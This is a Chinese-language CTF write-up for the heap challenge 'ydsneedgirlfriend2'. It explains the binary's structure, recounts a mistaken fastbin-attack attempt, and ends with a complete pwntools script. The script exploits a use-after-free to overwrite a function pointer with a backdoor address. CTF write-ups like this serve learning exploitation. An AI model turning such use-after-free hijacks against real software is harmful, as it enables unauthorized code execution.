一道十分奇怪的堆题——[BJDCTF 2nd]ydsneedgirlfriend2
上来先默认
放到ida里看一下
这里的add结构是先创建一个chunk(girlfriend)用来存放指向最后一个创建的chunk和一个函数指针
show函数一度然我以为题目写错了
从girlfriend计算偏移,偏移+1为函数,偏移为参数
delete更是神奇
free偏移指向的地址并且free偏移自身
我一开始还想着这不就fastbin attack 吗,然后这就是跑偏的开始
一开始申请一个chunk,此时有两个chunk结构如下
第一个chunk是之前说的chunk头,即girlfriend那玩意,指针指向第二个chunk
然后我free 第一个chunk,即偏移为0
可以看到两个chunk都被free了
此时的fastbin
然后我想再free 0不就应该是如下结构嘛
这不就fastbin attack吗
malloc a,修改a的fd,malloc b 此时指向a,a的fd又可以随便改,这不就可以任意地址写了吗
实际这么操作的时候报错了,我也不知道为什么
后来发现这道题有个后门函数,由于show的时候会调用girlfriend中的函数指针,所以只要将girlfriend free掉再申请回来就得到了
在修改函数指针指向backdoor再调用show即可
exp抄了别人的
from pwn import *
context(log_level='debug')
def debug_pause():
log.info(proc.pidof(p))
pause()
def add(length, name):
p.sendlineafter('choice :', str(1))
p.sendlineafter('the length of her name:', str(length))
p.sendafter('her name:', name)
def dele(index):
p.sendlineafter('choice :', str(2))
p.sendlineafter('Index :', str(index))
def show(index):
p.sendlineafter('choice :', str(3))
p.sendlineafter('Index :', str(index))
proc_name = './ydsneedgirlfriend2'
p = process(proc_name)
# p = remote('node3.buuoj.cn', 25351)
elf = ELF(proc_name)
backdoor_addr = 0x400d86
add(0x80, b'a')
dele(0)
add(0x10, p64(0x0) + p64(backdoor_addr))
# debug_pause()
show(0)
p.interactive()
总结:典型的想太多跑偏了